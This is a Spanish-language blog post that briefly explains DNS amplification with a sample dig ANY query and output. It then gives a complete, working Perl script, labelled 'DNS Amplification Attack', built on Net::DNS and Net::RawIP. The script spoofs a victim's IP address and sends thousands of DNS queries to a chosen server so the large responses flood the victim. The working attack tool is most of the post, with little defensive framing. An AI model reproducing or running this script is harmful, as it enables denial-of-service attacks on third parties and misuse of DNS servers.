Blog de Xianur0

Net::RawIP es un modulo/libreria de perl, que nos permite hacer gran cantidad de cosas, entre las cuales esta enviar paquetes spoofeados (tcp, udp, icmp, generic), vamos a ver un ejemplo de ello, un PoC de DNS Amplification que me arme por ahi usando esta libreria.

Vamos a explicar la tecnica en cuestion (el codigo ya esta comentado xD)

¿por que es eficiente?

Vamos a dar un ejemplo con dig:

xianur0@Zer0-Null:~/Net-RawIP-0.25$ dig @192.168.1.254 . ANY

; <<>> DiG 9.6.1-P2 <<>> @192.168.1.254 . ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53160 ;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 11 ;; QUESTION SECTION: ;. IN ANY ;; ANSWER SECTION: . 452834 IN NS c.root-servers.net. . 452834 IN NS e.root-servers.net. . 452834 IN NS f.root-servers.net. . 452834 IN NS d.root-servers.net. . 452834 IN NS b.root-servers.net. . 452834 IN NS j.root-servers.net. . 452834 IN NS g.root-servers.net. . 452834 IN NS l.root-servers.net. . 452834 IN NS h.root-servers.net. . 452834 IN NS k.root-servers.net. . 452834 IN NS m.root-servers.net. . 452834 IN NS a.root-servers.net. . 452834 IN NS i.root-servers.net. . 66297 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2010060800 1800 900 604800 86400 ;; ADDITIONAL SECTION: e.root-servers.net. 538845 IN A 192.203.230.10 f.root-servers.net. 539272 IN A 192.5.5.241 f.root-servers.net. 600142 IN AAAA 2001:500:2f::f d.root-servers.net. 538814 IN A 128.8.10.90 b.root-servers.net. 538838 IN A 192.228.79.201 j.root-servers.net. 538827 IN A 192.58.128.30 j.root-servers.net. 600142 IN AAAA 2001:503:c27::2:30 g.root-servers.net. 538716 IN A 192.112.36.4 l.root-servers.net. 538832 IN A 199.7.83.42 l.root-servers.net. 157464 IN AAAA 2001:500:3::42 h.root-servers.net. 538823 IN A 128.63.2.53 ;; Query time: 1328 msec ;; SERVER: 192.168.1.254#53(192.168.1.254) ;; WHEN: Tue Jun 8 16:00:21 2010 ;; MSG SIZE rcvd: 497

#!/usr/bin/perl

# By Xianur0
# uxmal666@gmail.com

use Net::DNS;
use Net::RawIP qw(:pcap);

print "\t\tDNS Amplification Attack By Xianur0\n\n";
my $usage = "\nUso: $0 [victima] [servidor] [Puerto victima (udp)] [N. Paquetes] [Registro]\n";

die $usage unless $ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3] && $ARGV[4];

my $fuckingvar1=$ARGV[0];
my $fuckingvar2=$ARGV[1];
my $fuckingvar4=$ARGV[2];
my $fuckingvar5='53';
my $registro = $ARGV[4];
my $domain = ".";
my $fuckingvar6 = 4000;
$fuckingvar6 = $ARGV[3] if ($ARGV[3] != 0);

my $packet_r = Net::DNS::Packet->new($domain, $registro, "IN"); # creamos el paquete
my $udp_r = new Net::RawIP({ip=> {saddr=>$fuckingvar1, daddr=>$fuckingvar2}, udp=>{source=>$fuckingvar4, dest=>$fuckingvar5}}); # especificamos los valores (IP Spoofeada, destino (victima), puerto origen (puerto a donde se enviara la respuesta del DNS) y destino)

print "Enviando...\n";
for($fuck = 0; $fuck < $fuckingvar6; $fuck++) {
  $udp_r->set({udp=>{data=>$packet_r->data}});
  $udp_r->send();
}


print "Enviado!\n";